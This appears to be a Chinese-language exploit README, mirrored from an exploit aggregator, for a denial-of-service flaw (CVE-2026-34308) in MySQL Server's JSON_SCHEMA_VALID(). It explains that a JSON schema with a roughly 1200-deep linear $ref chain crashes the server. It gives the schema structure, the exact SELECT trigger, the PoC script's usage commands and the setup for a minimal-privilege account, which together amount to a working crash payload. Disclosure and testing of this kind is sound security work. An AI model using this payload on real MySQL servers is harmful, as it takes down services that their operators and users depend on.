## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JOAKIMBULOW-CVE-2026-34308
# CVE-2026-34308:MySQL Server(JSON 组件)拒绝服务
官方厂商公告:Oracle 关键补丁更新公告 — 2026 年 4 月。
## 摘要(摘自已发布的 CVE)
Oracle MySQL Server 中的漏洞(组件:Server: JSON)。
受支持的受影响版本:**8.0.0–8.0.45** 、**8.4.0–8.4.8** 和 **9.0.0–9.6.0** 。
该漏洞允许低权限用户使 MySQL Server 崩溃。
**CVSS 3.1 基础评分** :**6.5** (仅影响可用性)
**CVSS 向量** :`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H`
* * *
## 附加技术分析(不属于 CVE 文本内容)
**观察到的机制** :当 MySQL 针对包含长线性 `$ref` 指针链的 JSON Schema 执行 `JSON_SCHEMA_VALID()` 时,会发生深度递归,且在模式编译/验证期间没有有效的深度上限——导致栈耗尽,进而出现挂起或可重复的崩溃。
**调用链(概念性)** :
root@kitploit:~
Client SQL → JSON_SCHEMA_VALID(schema, instance)
→ 内部 JSON 模式验证 → 重复的 $ref 解析
→ 栈耗尽 → 挂起 / 崩溃
* * *
## 所需权限
对于此 PoC,**任何经过身份验证的 MySQL 账户都足够** :只需授予 `*.*` 上的 `USAGE` 权限(MySQL 的最低权限——能够连接——无需 `SELECT`、表访问权限或管理员角色)。如果用户能够打开会话并运行 `SELECT JSON_SCHEMA_VALID(...)`,就可以触发该条件。
* * *
## 概念验证
### PoC 脚本:`poc_schema_dos.py`
构建一个带有线性 `$ref` 链(示例深度为 1200)的 JSON 模式:
root@kitploit:~
{
"$ref": "#/definitions/l0",
"definitions": {
"l0": {"$ref": "#/definitions/l1"},
"l1": {"$ref": "#/definitions/l2"},
...
"l1200": {"type": "string"}
}
}
发送到 MySQL 的命令为:`SELECT JSON_SCHEMA_VALID('<schema>', '"x"');`
在针对易受攻击版本的测试中,观察到该操作**约在一秒内使服务器崩溃** (确切时间取决于硬件、构建标志和模式深度)。
### 使用方法
root@kitploit:~
python3 poc_schema_dos.py --host 127.0.0.1 --port 3306 --user root --password ""
要测试低权限账户:
root@kitploit:~
CREATE USER 'test'@'%' IDENTIFIED BY 'password';
GRANT USAGE ON *.* TO 'test'@'%';
FLUSH PRIVILEGES;
然后执行:`python3 poc_schema_dos.py --user test --password password`
* * *
## CVSS v3.1(官方向量)
**6.5** — `AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H`
* **AV:N** :可远程访问网络
* **AC:L** :攻击复杂度低
* **PR:L** :需要低权限
* **UI:N** :无需用户交互
* **S:U** :影响范围不变
* **C:N / I:N** :无机密性或完整性影响
* **A:H** :对可用性影响高(挂起 / 可重复崩溃 / DoS)
* * *
## 文件
* `poc_schema_dos.py`:概念验证脚本
* `README.md`:本文件